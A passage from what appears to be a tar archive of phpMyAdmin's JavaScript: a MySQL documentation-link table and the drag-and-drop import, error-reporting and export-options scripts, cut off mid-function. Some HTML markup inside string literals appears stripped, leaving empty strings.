'UTC_TIMESTAMP': ['date-and-time-functions', 'function_utc_timestamp'], 'UUID_SHORT': ['miscellaneous-functions', 'function_uuid_short'], 'UUID': ['miscellaneous-functions', 'function_uuid'], 'VALUES': ['miscellaneous-functions', 'function_values'], 'VAR_POP': ['aggregate-functions', 'function_var_pop'], 'VAR_SAMP': ['aggregate-functions', 'function_var_samp'], 'VARIANCE': ['aggregate-functions', 'function_variance'], 'VERSION': ['information-functions', 'function_version'], 'WEEK': ['date-and-time-functions', 'function_week'], 'WEEKDAY': ['date-and-time-functions', 'function_weekday'], 'WEEKOFYEAR': ['date-and-time-functions', 'function_weekofyear'], 'XOR': ['logical-operators', 'operator_xor'], 'YEAR': ['date-and-time-functions', 'function_year'], 'YEARWEEK': ['date-and-time-functions', 'function_yearweek'], 'SOUNDS_LIKE': ['string-functions', 'operator_sounds-like'], 'IS_NOT_NULL': ['comparison-operators', 'operator_is-not-null'], 'IS_NOT': ['comparison-operators', 'operator_is-not'], 'IS_NULL': ['comparison-operators', 'operator_is-null'], 'NOT_LIKE': ['string-comparison-functions', 'operator_not-like'], 'NOT_REGEXP': ['regexp', 'operator_not-regexp'], 'COUNT_DISTINCT': ['aggregate-functions', 'function_count-distinct'], 'NOT_IN': ['comparison-operators', 'function_not-in'] }; // eslint-disable-next-line no-unused-vars var mysqlDocBuiltin = { 'TINYINT': ['numeric-types'], 'SMALLINT': ['numeric-types'], 'MEDIUMINT': ['numeric-types'], 'INT': ['numeric-types'], 'BIGINT': ['numeric-types'], 'DECIMAL': ['numeric-types'], 'FLOAT': ['numeric-types'], 'DOUBLE': ['numeric-types'], 'REAL': ['numeric-types'], 'BIT': ['numeric-types'], 'BOOLEAN': ['numeric-types'], 'SERIAL': ['numeric-types'], 'DATE': ['date-and-time-types'], 'DATETIME': ['date-and-time-types'], 'TIMESTAMP': ['date-and-time-types'], 'TIME': ['date-and-time-types'], 'YEAR': ['date-and-time-types'], 'CHAR': ['string-types'], 'VARCHAR': ['string-types'], 'TINYTEXT': ['string-types'], 'TEXT': ['string-types'], 'MEDIUMTEXT': ['string-types'], 'LONGTEXT': ['string-types'], 'BINARY': ['string-types'], 'VARBINARY': ['string-types'], 'TINYBLOB': ['string-types'], 'MEDIUMBLOB': ['string-types'], 'BLOB': ['string-types'], 'LONGBLOB': ['string-types'], 'ENUM': ['string-types'], 'SET': ['string-types'] }; drag_drop_import.js000066600000034433151724624350010461 0ustar00 /* This script handles PMA Drag Drop Import, loaded only when configuration is enabled.*/ /** * Class to handle PMA Drag and Drop Import * feature */ var DragDropImport = { /** * @var {number}, count of total uploads in this view */ uploadCount: 0, /** * @var {number}, count of live uploads */ liveUploadCount: 0, /** * @var {string[]} array, allowed extensions */ allowedExtensions: ['sql', 'xml', 'ldi', 'mediawiki', 'shp'], /** * @var {string[]} array, allowed extensions for compressed files */ allowedCompressedExtensions: ['gz', 'bz2', 'zip'], /** * @var {object[]}, array to store message returned by /import-status */ importStatus: [], /** * Checks if any dropped file has valid extension or not * * @param {string} file filename * * @return {string}, extension for valid extension, '' otherwise */ getExtension: function (file) { var arr = file.split('.'); var ext = arr[arr.length - 1]; // check if compressed if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedCompressedExtensions) !== -1) { ext = arr[arr.length - 2]; } // Now check for extension if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedExtensions) !== -1) { return ext; } return ''; }, /** * Shows upload progress for different sql uploads * * @param {string} hash, hash for specific file upload * @param {number} percent (float), file upload percentage * * @return {void} */ setProgress: function (hash, percent) { $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .children('progress').val(percent); }, /** * Function to upload the file asynchronously * * @param {object} formData FormData object for a specific file * @param {string} hash hash of the current file upload * * @return {void} */ sendFileToServer: function (formData, hash) { var jqXHR = $.ajax({ xhr: function () { var xhrobj = $.ajaxSettings.xhr(); if (xhrobj.upload) { xhrobj.upload.addEventListener('progress', function (event) { var percent = 0; var position = event.loaded || event.position; var total = event.total; if (event.lengthComputable) { percent = Math.ceil(position / total * 100); } // Set progress DragDropImport.setProgress(hash, percent); }, false); } return xhrobj; }, url: 'index.php?route=/import', type: 'POST', contentType:false, processData: false, cache: false, data: formData, success: function (data) { DragDropImport.importFinished(hash, false, data.success); if (!data.success) { DragDropImport.importStatus[DragDropImport.importStatus.length] = { hash: hash, message: data.error }; } } }); // -- provide link to cancel the upload $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize').html('' + Messages.dropImportMessageCancel + ''); // -- add event listener to this link to abort upload operation $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .on('click', function () { if ($(this).attr('task') === 'cancel') { jqXHR.abort(); $(this).html('' + Messages.dropImportMessageAborted + ''); DragDropImport.importFinished(hash, true, false); } else if ($(this).children('span').html() === Messages.dropImportMessageFailed) { // -- view information var $this = $(this); $.each(DragDropImport.importStatus, function (key, value) { if (value.hash === hash) { $('.pma_drop_result:visible').remove(); var filename = $this.parent('span').attr('data-filename'); $('body').append('

          ' + Messages.dropImportImportResultHeader + ' - ' + Functions.escapeHtml(filename) + 'x

          ' + value.message + '
          '); $('.pma_drop_result').draggable(); // to make this dialog draggable } }); } }); }, /** * Triggered when an object is dragged into the PMA UI * * @param {MouseEvent} event obj * * @return {void} */ dragEnter : function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); if (!DragDropImport.hasFiles(event)) { return; } if (CommonParams.get('db') === '') { $('.pma_drop_handler').html(Messages.dropImportSelectDB); } else { $('.pma_drop_handler').html(Messages.dropImportDropFiles); } $('.pma_drop_handler').fadeIn(); }, /** * Check if dragged element contains Files * * @param event the event object * * @return {boolean} */ hasFiles: function (event) { return !(typeof event.originalEvent.dataTransfer.types === 'undefined' || $.inArray('Files', event.originalEvent.dataTransfer.types) < 0 || $.inArray( 'application/x-moz-nativeimage', event.originalEvent.dataTransfer.types ) >= 0); }, /** * Triggered when dragged file is being dragged over PMA UI * * @param {MouseEvent} event obj * * @return {void} */ dragOver: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); if (!DragDropImport.hasFiles(event)) { return; } $('.pma_drop_handler').fadeIn(); }, /** * Triggered when dragged objects are left * * @param {MouseEvent} event obj * * @return {void} */ dragLeave: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); var $dropHandler = $('.pma_drop_handler'); $dropHandler.clearQueue().stop(); $dropHandler.fadeOut(); $dropHandler.html(Messages.dropImportDropFiles); }, /** * Called when upload has finished * * @param {string} hash unique hash for a certain upload * @param {boolean} aborted true if upload was aborted * @param {boolean} status status of sql upload, as sent by server * * @return {void} */ importFinished: function (hash, aborted, status) { $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .children('progress').hide(); var icon = 'icon ic_s_success'; // -- provide link to view upload status if (!aborted) { if (status) { $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .html('' + Messages.dropImportMessageSuccess + ''); } else { $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .html('' + Messages.dropImportMessageFailed + ''); icon = 'icon ic_s_error'; } } else { icon = 'icon ic_s_notice'; } $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .attr('task', 'info'); // Set icon $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .prepend(' '); // Decrease liveUploadCount by one $('.pma_import_count').html(--DragDropImport.liveUploadCount); if (!DragDropImport.liveUploadCount) { $('.pma_sql_import_status h2 .close').fadeIn(); } }, /** * Triggered when dragged objects are dropped to UI * From this function, the AJAX Upload operation is initiated * * @param event object * * @return {void} */ drop: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } var dbname = CommonParams.get('db'); var server = CommonParams.get('server'); // if no database is selected -- no if (dbname !== '') { var files = event.originalEvent.dataTransfer.files; if (!files || files.length === 0) { // No files actually transferred $('.pma_drop_handler').fadeOut(); event.stopPropagation(); event.preventDefault(); return; } $('.pma_sql_import_status').slideDown(); for (var i = 0; i < files.length; i++) { var ext = (DragDropImport.getExtension(files[i].name)); var hash = AJAX.hash(++DragDropImport.uploadCount); var $sqlImportStatusDiv = $('.pma_sql_import_status div'); $sqlImportStatusDiv.append('
        • ' + ((ext !== '') ? '' : ' ') + Functions.escapeHtml(files[i].name) + '' + (files[i].size / 1024).toFixed(2) + ' kb
        • '); // scroll the UI to bottom $sqlImportStatusDiv.scrollTop( $sqlImportStatusDiv.scrollTop() + 50 ); // 50 hardcoded for now if (ext !== '') { // Increment liveUploadCount by one $('.pma_import_count').html(++DragDropImport.liveUploadCount); $('.pma_sql_import_status h2 .close').fadeOut(); $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .append('
          '); // uploading var fd = new FormData(); fd.append('import_file', files[i]); fd.append('noplugin', Math.random().toString(36).substring(2, 12)); fd.append('db', dbname); fd.append('server', server); fd.append('token', CommonParams.get('token')); fd.append('import_type', 'database'); // todo: method to find the value below fd.append('MAX_FILE_SIZE', '4194304'); // todo: method to find the value below fd.append('charset_of_file','utf-8'); // todo: method to find the value below fd.append('allow_interrupt', 'yes'); fd.append('skip_queries', '0'); fd.append('format',ext); fd.append('sql_compatibility','NONE'); fd.append('sql_no_auto_value_on_zero','something'); fd.append('ajax_request','true'); fd.append('hash', hash); // init uploading DragDropImport.sendFileToServer(fd, hash); } else if (!DragDropImport.liveUploadCount) { $('.pma_sql_import_status h2 .close').fadeIn(); } } } $('.pma_drop_handler').fadeOut(); event.stopPropagation(); event.preventDefault(); } }; /** * Called when some user drags, dragover, leave * a file to the PMA UI * @param {object}, Event data * @return {void} */ $(document).on('dragenter', DragDropImport.dragEnter); $(document).on('dragover', DragDropImport.dragOver); $(document).on('dragleave', '.pma_drop_handler', DragDropImport.dragLeave); // when file is dropped to PMA UI $(document).on('drop', 'body', DragDropImport.drop); // minimizing-maximizing the sql ajax upload status $(document).on('click', '.pma_sql_import_status h2 .minimize', function () { if ($(this).attr('toggle') === 'off') { $('.pma_sql_import_status div').css('height','270px'); $(this).attr('toggle','on'); $(this).html('-'); // to minimize } else { $('.pma_sql_import_status div').css('height','0px'); $(this).attr('toggle','off'); $(this).html('+'); // to maximise } }); // closing sql ajax upload status $(document).on('click', '.pma_sql_import_status h2 .close', function () { $('.pma_sql_import_status').fadeOut(function () { $('.pma_sql_import_status div').html(''); DragDropImport.importStatus = []; // clear the message array }); }); // Closing the import result box $(document).on('click', '.pma_drop_result h2 .close', function () { $(this).parent('h2').parent('div').remove(); }); error_report.js000066600000024531151724624350007650 0ustar00 /* global TraceKit */ // js/vendor/tracekit.js /** * general function, usually for data manipulation pages * */ var ErrorReport = { /** * @var {object}, stores the last exception info */ lastException: null, /** * @var object stores the Error Report Data to prevent unnecessary data fetching */ errorReportData: null, /** * @var object maintains unique keys already used */ keyDict: {}, /** * handles thrown error exceptions based on user preferences * * @param {object} data * @param {any} exception * @return {void} */ errorDataHandler: function (data, exception) { if (data.success !== true) { Functions.ajaxShowMessage(data.error, false); return; } if (data.report_setting === 'ask') { ErrorReport.showErrorNotification(); } else if (data.report_setting === 'always') { var reportData = ErrorReport.getReportData(exception); var postData = $.extend(reportData, { 'send_error_report': true, 'automatic': true }); $.post('index.php?route=/error-report', postData, function (data) { if (data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxShowMessage(data.message, false); } }); } }, errorHandler: function (exception) { // issue: 14359 if (JSON.stringify(ErrorReport.lastException) === JSON.stringify(exception)) { return; } if (exception.name === null || typeof(exception.name) === 'undefined') { exception.name = ErrorReport.extractExceptionName(exception); } ErrorReport.lastException = exception; if (ErrorReport.errorReportData === null) { $.post('index.php?route=/error-report', { 'ajax_request': true, 'server': CommonParams.get('server'), 'get_settings': true, 'exception_type': 'js' }, function (data) { ErrorReport.errorReportData = data; ErrorReport.errorDataHandler(data, exception); }); } else { ErrorReport.errorDataHandler(ErrorReport.errorReportData, exception); } }, /** * Shows the modal dialog previewing the report * * @param exception object error report info * * @return {void} */ showReportDialog: function (exception) { const reportData = ErrorReport.getReportData(exception); const sendErrorReport = function () { const postData = $.extend(reportData, { 'send_error_report': true, 'description': $('#errorReportDescription').val(), 'always_send': $('#errorReportAlwaysSendCheckbox')[0].checked }); $.post('index.php?route=/error-report', postData, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxShowMessage(data.message, 3000); } }); $('#errorReportModal').modal('hide'); }; $.post('index.php?route=/error-report', reportData).done(function (data) { // Delete the modal to refresh it in case the user changed SendErrorReports value if (document.getElementById('errorReportModal') !== null) { $('#errorReportModal').remove(); } $('body').append($(data.report_modal)); const $errorReportModal = $('#errorReportModal'); $errorReportModal.on('show.bs.modal', function () { // Prevents multiple onClick events $('#errorReportModalConfirm').off('click', sendErrorReport); $('#errorReportModalConfirm').on('click', sendErrorReport); $('#errorReportModal .modal-body').html(data.message); }); $errorReportModal.modal('show'); }); }, /** * Shows the small notification that asks for user permission * * @return {void} */ showErrorNotification: function () { var key = Math.random().toString(36).substring(2, 12); while (key in ErrorReport.keyDict) { key = Math.random().toString(36).substring(2, 12); } ErrorReport.keyDict[key] = 1; var $div = $( '' ).append( Functions.getImage('s_error') + Messages.strErrorOccurred ); var $buttons = $('
          '); var buttonHtml = ''; var settingsUrl = 'index.php?route=/preferences/features&server=' + CommonParams.get('server'); buttonHtml += ''; buttonHtml += Functions.getImage('s_cog', Messages.strChangeReportSettings); buttonHtml += ''; buttonHtml += ''; buttonHtml += Functions.getImage('b_close', Messages.strIgnore); buttonHtml += ''; $buttons.html(buttonHtml); $div.append($buttons); // eslint-disable-next-line compat/compat $div.appendTo(document.body); $(document).on('click', '#show_error_report_' + key, ErrorReport.createReportDialog); $(document).on('click', '#ignore_error_' + key, ErrorReport.removeErrorNotification); }, /** * Removes the notification if it was displayed before * * @param {Event} e * @return {void} */ removeErrorNotification: function (e) { if (e) { // don't remove the hash fragment by navigating to # e.preventDefault(); } $('#error_notification_' + $(this).data('notification-id')).fadeOut(function () { $(this).remove(); }); }, /** * Extracts Exception name from message if it exists * * @param exception * @return {string} */ extractExceptionName: function (exception) { if (exception.message === null || typeof(exception.message) === 'undefined') { return ''; } var reg = /([a-zA-Z]+):/; var regexResult = reg.exec(exception.message); if (regexResult && regexResult.length === 2) { return regexResult[1]; } return ''; }, /** * Shows the modal dialog previewing the report * * @return {void} */ createReportDialog: function () { ErrorReport.removeErrorNotification(); ErrorReport.showReportDialog(ErrorReport.lastException); }, /** * Returns the report data to send to the server * * @param exception object exception info * * @return {object} */ getReportData: function (exception) { if (exception && exception.stack && exception.stack.length) { for (var i = 0; i < exception.stack.length; i++) { var stack = exception.stack[i]; if (stack.context && stack.context.length) { for (var j = 0; j < stack.context.length; j++) { if (stack.context[j].length > 80) { stack.context[j] = stack.context[j].substring(-1, 75) + '//...'; } } } } } var reportData = { 'server': CommonParams.get('server'), 'ajax_request': true, 'exception': exception, 'url': window.location.href, 'exception_type': 'js' }; if (AJAX.scriptHandler.scripts.length > 0) { reportData.scripts = AJAX.scriptHandler.scripts.map( function (script) { return script; } ); } return reportData; }, /** * Wraps given function in error reporting code and returns wrapped function * * @param {Function} func function to be wrapped * * @return {Function} */ wrapFunction: function (func) { if (!func.wrapped) { var newFunc = function () { try { return func.apply(this, arguments); } catch (x) { TraceKit.report(x); } }; newFunc.wrapped = true; // Set guid of wrapped function same as original function, so it can be removed // See bug#4146 (problem with jquery draggable and sortable) newFunc.guid = func.guid = func.guid || newFunc.guid || jQuery.guid++; return newFunc; } else { return func; } }, /** * Automatically wraps the callback in AJAX.registerOnload * * @return {void} */ wrapAjaxOnloadCallback: function () { var oldOnload = AJAX.registerOnload; AJAX.registerOnload = function (file, func) { var wrappedFunction = ErrorReport.wrapFunction(func); oldOnload.call(this, file, wrappedFunction); }; }, /** * Automatically wraps the callback in $.fn.on * * @return {void} */ wrapJqueryOnCallback: function () { var oldOn = $.fn.on; $.fn.on = function () { for (var i = 1; i <= 3; i++) { if (typeof(arguments[i]) === 'function') { arguments[i] = ErrorReport.wrapFunction(arguments[i]); break; } } return oldOn.apply(this, arguments); }; }, /** * Wraps the callback in AJAX.registerOnload automatically * * @return {void} */ setUpErrorReporting: function () { ErrorReport.wrapAjaxOnloadCallback(); ErrorReport.wrapJqueryOnCallback(); } }; AJAX.registerOnload('error_report.js', function () { TraceKit.report.subscribe(ErrorReport.errorHandler); ErrorReport.setUpErrorReporting(); }); export.js000066600000104574151724624350006453 0ustar00/** * Functions used in the export tab * */ var Export = {}; /** * Disables the "Dump some row(s)" sub-options */ Export.disableDumpSomeRowsSubOptions = function () { $('label[for=\'limit_to\']').fadeTo('fast', 0.4); $('label[for=\'limit_from\']').fadeTo('fast', 0.4); $('input[type=\'text\'][name=\'limit_to\']').prop('disabled', 'disabled'); $('input[type=\'text\'][name=\'limit_from\']').prop('disabled', 'disabled'); }; /** * Enables the "Dump some row(s)" sub-options */ Export.enableDumpSomeRowsSubOptions = function () { $('label[for=\'limit_to\']').fadeTo('fast', 1); $('label[for=\'limit_from\']').fadeTo('fast', 1); $('input[type=\'text\'][name=\'limit_to\']').prop('disabled', ''); $('input[type=\'text\'][name=\'limit_from\']').prop('disabled', ''); }; /** * Return template data as a json object * * @return {object} template data */ Export.getTemplateData = function () { var $form = $('form[name="dump"]'); var excludeList = ['token', 'server', 'db', 'table', 'single_table', 'export_type', 'export_method', 'sql_query', 'template_id']; var obj = {}; var arr = $form.serializeArray(); $.each(arr, function () { if ($.inArray(this.name, excludeList) < 0) { if (obj[this.name] !== undefined) { if (! obj[this.name].push) { obj[this.name] = [obj[this.name]]; } obj[this.name].push(this.value || ''); } else { obj[this.name] = this.value || ''; } } }); // include unchecked checkboxes (which are ignored by serializeArray()) with null // to uncheck them when loading the template $form.find('input[type="checkbox"]:not(:checked)').each(function () { if (obj[this.name] === undefined) { obj[this.name] = null; } }); // include empty multiselects $form.find('select').each(function () { if ($(this).find('option:selected').length === 0) { obj[this.name] = []; } }); return obj; }; /** * Create a template with selected options * * @param name name of the template */ Export.createTemplate = function (name) { var templateData = Export.getTemplateData(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateName': name, 'templateData': JSON.stringify(templateData) }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/create', params, function (response) { if (response.success === true) { $('#templateName').val(''); $('#template').html(response.data); $('#template').find('option').each(function () { if ($(this).text() === name) { $(this).prop('selected', true); } }); Functions.ajaxShowMessage(Messages.strTemplateCreated); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Loads a template * * @param id ID of the template to load */ Export.loadTemplate = function (id) { var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id, }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/load', params, function (response) { if (response.success === true) { var $form = $('form[name="dump"]'); var options = JSON.parse(response.data); $.each(options, function (key, value) { var localValue = value; var $element = $form.find('[name="' + key + '"]'); if ($element.length) { if (($element.is('input') && $element.attr('type') === 'checkbox') && localValue === null) { $element.prop('checked', false); } else { if (($element.is('input') && $element.attr('type') === 'checkbox') || ($element.is('input') && $element.attr('type') === 'radio') || ($element.is('select') && $element.attr('multiple') === 'multiple')) { if (! localValue.push) { localValue = [localValue]; } } $element.val(localValue); } $element.trigger('change'); } }); $('input[name="template_id"]').val(id); Functions.ajaxShowMessage(Messages.strTemplateLoaded); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Updates an existing template with current options * * @param id ID of the template to update */ Export.updateTemplate = function (id) { var templateData = Export.getTemplateData(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id, 'templateData': JSON.stringify(templateData) }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/update', params, function (response) { if (response.success === true) { Functions.ajaxShowMessage(Messages.strTemplateUpdated); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Delete a template * * @param id ID of the template to delete */ Export.deleteTemplate = function (id) { var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id, }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/delete', params, function (response) { if (response.success === true) { $('#template').find('option[value="' + id + '"]').remove(); Functions.ajaxShowMessage(Messages.strTemplateDeleted); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('export.js', function () { $('#plugins').off('change'); $('input[type=\'radio\'][name=\'sql_structure_or_data\']').off('change'); $('input[type=\'radio\'][name$=\'_structure_or_data\']').off('change'); $('input[type=\'radio\'][name=\'output_format\']').off('change'); $('#checkbox_sql_include_comments').off('change'); $('input[type=\'radio\'][name=\'quick_or_custom\']').off('change'); $('input[type=\'radio\'][name=\'allrows\']').off('change'); $('#btn_alias_config').off('click'); $('.alias_remove').off('click'); $('#db_alias_button').off('click'); $('#table_alias_button').off('click'); $('#column_alias_button').off('click'); $('input[name="table_select[]"]').off('change'); $('input[name="table_structure[]"]').off('change'); $('input[name="table_data[]"]').off('change'); $('#table_structure_all').off('change'); $('#table_data_all').off('change'); $('input[name="createTemplate"]').off('click'); $('select[name="template"]').off('change'); $('input[name="updateTemplate"]').off('click'); $('input[name="deleteTemplate"]').off('click'); }); AJAX.registerOnload('export.js', function () { $('#showsqlquery').on('click', function () { // Creating a dialog box similar to preview sql container to show sql query var modal = $('#showSqlQueryModal'); modal.modal('show'); modal.on('shown.bs.modal', function () { $('#showSqlQueryModalLabel').first().html(Messages.strQuery); Functions.highlightSql(modal); }); }); /** * Export template handling code */ // create a new template $('input[name="createTemplate"]').on('click', function (e) { e.preventDefault(); var name = $('input[name="templateName"]').val(); if (name.length) { Export.createTemplate(name); } }); // load an existing template $('select[name="template"]').on('change', function (e) { e.preventDefault(); var id = $(this).val(); if (id.length) { Export.loadTemplate(id); } }); // update an existing template with new criteria $('input[name="updateTemplate"]').on('click', function (e) { e.preventDefault(); var id = $('select[name="template"]').val(); if (id.length) { Export.updateTemplate(id); } }); // delete an existing template $('input[name="deleteTemplate"]').on('click', function (e) { e.preventDefault(); var id = $('select[name="template"]').val(); if (id.length) { Export.deleteTemplate(id); } }); /** * Toggles the hiding and showing of each plugin's options * according to the currently selected plugin from the dropdown list */ $('#plugins').on('change', function () { $('#format_specific_opts').find('div.format_specific_options').addClass('d-none'); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').removeClass('d-none'); }); /** * Toggles the enabling and disabling of the SQL plugin's comment options that apply only when exporting structure */ $('input[type=\'radio\'][name=\'sql_structure_or_data\']').on('change', function () { var commentsArePresent = $('#checkbox_sql_include_comments').prop('checked'); var show = $('input[type=\'radio\'][name=\'sql_structure_or_data\']:checked').val(); if (show === 'data') { // disable the SQL comment options if (commentsArePresent) { $('#checkbox_sql_dates').prop('disabled', true).parent().fadeTo('fast', 0.4); } $('#checkbox_sql_relation').prop('disabled', true).parent().fadeTo('fast', 0.4); $('#checkbox_sql_mime').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { // enable the SQL comment options if (commentsArePresent) { $('#checkbox_sql_dates').prop('disabled', false).parent().fadeTo('fast', 1); } $('#checkbox_sql_relation').prop('disabled', false).parent().fadeTo('fast', 1); $('#checkbox_sql_mime').prop('disabled', false).parent().fadeTo('fast', 1); } if (show === 'structure') { $('#checkbox_sql_auto_increment').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $('#checkbox_sql_auto_increment').prop('disabled', false).parent().fadeTo('fast', 1); } }); // When MS Excel is selected as the Format automatically Switch to Character Set as windows-1252 $('#plugins').on('change', function () { var selectedPluginName = $('#plugins').find('option:selected').val(); if (selectedPluginName === 'excel') { $('#select_charset').val('windows-1252'); } else { $('#select_charset').val('utf-8'); } }); // For separate-file exports only ZIP compression is allowed $('input[type="checkbox"][name="as_separate_files"]').on('change', function () { if ($(this).is(':checked')) { $('#compression').val('zip'); } }); $('#compression').on('change', function () { if ($('option:selected').val() !== 'zip') { $('input[type="checkbox"][name="as_separate_files"]').prop('checked', false); } }); }); Export.setupTableStructureOrData = function () { if ($('input[name=\'export_type\']').val() !== 'database') { return; } var pluginName = $('#plugins').find('option:selected').val(); var formElemName = pluginName + '_structure_or_data'; var forceStructureOrData = !($('input[name=\'' + formElemName + '_default\']').length); if (forceStructureOrData === true) { $('input[name="structure_or_data_forced"]').val(1); $('.export_structure input[type="checkbox"], .export_data input[type="checkbox"]') .prop('disabled', true); $('.export_structure, .export_data').fadeTo('fast', 0.4); } else { $('input[name="structure_or_data_forced"]').val(0); $('.export_structure input[type="checkbox"], .export_data input[type="checkbox"]') .prop('disabled', false); $('.export_structure, .export_data').fadeTo('fast', 1); var structureOrData = $('input[name="' + formElemName + '_default"]').val(); if (structureOrData === 'structure') { $('.export_data input[type="checkbox"]') .prop('checked', false); } else if (structureOrData === 'data') { $('.export_structure input[type="checkbox"]') .prop('checked', false); } if (structureOrData === 'structure' || structureOrData === 'structure_and_data') { if (!$('.export_structure input[type="checkbox"]:checked').length) { $('input[name="table_select[]"]:checked') .closest('tr') .find('.export_structure input[type="checkbox"]') .prop('checked', true); } } if (structureOrData === 'data' || structureOrData === 'structure_and_data') { if (!$('.export_data input[type="checkbox"]:checked').length) { $('input[name="table_select[]"]:checked') .closest('tr') .find('.export_data input[type="checkbox"]') .prop('checked', true); } } Export.checkSelectedTables(); Export.checkTableSelectAll(); Export.checkTableSelectStructureOrData(); } }; /** * Toggles the hiding and showing of plugin structure-specific and data-specific * options */ Export.toggleStructureDataOpts = function () { var pluginName = $('select#plugins').val(); var radioFormName = pluginName + '_structure_or_data'; var dataDiv = '#' + pluginName + '_data'; var structureDiv = '#' + pluginName + '_structure'; var show = $('input[type=\'radio\'][name=\'' + radioFormName + '\']:checked').val(); // Show the #rows if 'show' is not structure $('#rows').toggle(show !== 'structure'); if (show === 'data') { $(dataDiv).slideDown('slow'); $(structureDiv).slideUp('slow'); } else { $(structureDiv).slideDown('slow'); if (show === 'structure') { $(dataDiv).slideUp('slow'); } else { $(dataDiv).slideDown('slow'); } } }; /** * Toggles the disabling of the "save to file" options */ Export.toggleSaveToFile = function () { var $ulSaveAsfile = $('#ul_save_asfile'); if (!$('#radio_dump_asfile').prop('checked')) { $ulSaveAsfile.find('> li').fadeTo('fast', 0.4); $ulSaveAsfile.find('> li > input').prop('disabled', true); $ulSaveAsfile.find('> li > select').prop('disabled', true); } else { $ulSaveAsfile.find('> li').fadeTo('fast', 1); $ulSaveAsfile.find('> li > input').prop('disabled', false); $ulSaveAsfile.find('> li > select').prop('disabled', false); } }; AJAX.registerOnload('export.js', function () { Export.toggleSaveToFile(); $('input[type=\'radio\'][name=\'output_format\']').on('change', Export.toggleSaveToFile); }); /** * For SQL plugin, toggles the disabling of the "display comments" options */ Export.toggleSqlIncludeComments = function () { $('#checkbox_sql_include_comments').on('change', function () { var $ulIncludeComments = $('#ul_include_comments'); if (!$('#checkbox_sql_include_comments').prop('checked')) { $ulIncludeComments.find('> li').fadeTo('fast', 0.4); $ulIncludeComments.find('> li > input').prop('disabled', true); } else { // If structure is not being exported, the comment options for structure should not be enabled if ($('#radio_sql_structure_or_data_data').prop('checked')) { $('#text_sql_header_comment').prop('disabled', false).parent('li').fadeTo('fast', 1); } else { $ulIncludeComments.find('> li').fadeTo('fast', 1); $ulIncludeComments.find('> li > input').prop('disabled', false); } } }); }; Export.checkTableSelectAll = function () { var total = $('input[name="table_select[]"]').length; var strChecked = $('input[name="table_structure[]"]:checked').length; var dataChecked = $('input[name="table_data[]"]:checked').length; var strAll = $('#table_structure_all'); var dataAll = $('#table_data_all'); if (strChecked === total) { strAll .prop('indeterminate', false) .prop('checked', true); } else if (strChecked === 0) { strAll .prop('indeterminate', false) .prop('checked', false); } else { strAll .prop('indeterminate', true) .prop('checked', false); } if (dataChecked === total) { dataAll .prop('indeterminate', false) .prop('checked', true); } else if (dataChecked === 0) { dataAll .prop('indeterminate', false) .prop('checked', false); } else { dataAll .prop('indeterminate', true) .prop('checked', false); } }; Export.checkTableSelectStructureOrData = function () { var dataChecked = $('input[name="table_data[]"]:checked').length; var autoIncrement = $('#checkbox_sql_auto_increment'); var pluginName = $('select#plugins').val(); var dataDiv = '#' + pluginName + '_data'; if (dataChecked === 0) { $(dataDiv).slideUp('slow'); autoIncrement.prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $(dataDiv).slideDown('slow'); autoIncrement.prop('disabled', false).parent().fadeTo('fast', 1); } }; Export.toggleTableSelectAllStr = function () { var strAll = $('#table_structure_all').is(':checked'); if (strAll) { $('input[name="table_structure[]"]').prop('checked', true); } else { $('input[name="table_structure[]"]').prop('checked', false); } }; Export.toggleTableSelectAllData = function () { var dataAll = $('#table_data_all').is(':checked'); if (dataAll) { $('input[name="table_data[]"]').prop('checked', true); } else { $('input[name="table_data[]"]').prop('checked', false); } }; Export.checkSelectedTables = function () { $('.export_table_select tbody tr').each(function () { Export.checkTableSelected(this); }); }; Export.checkTableSelected = function (row) { var $row = 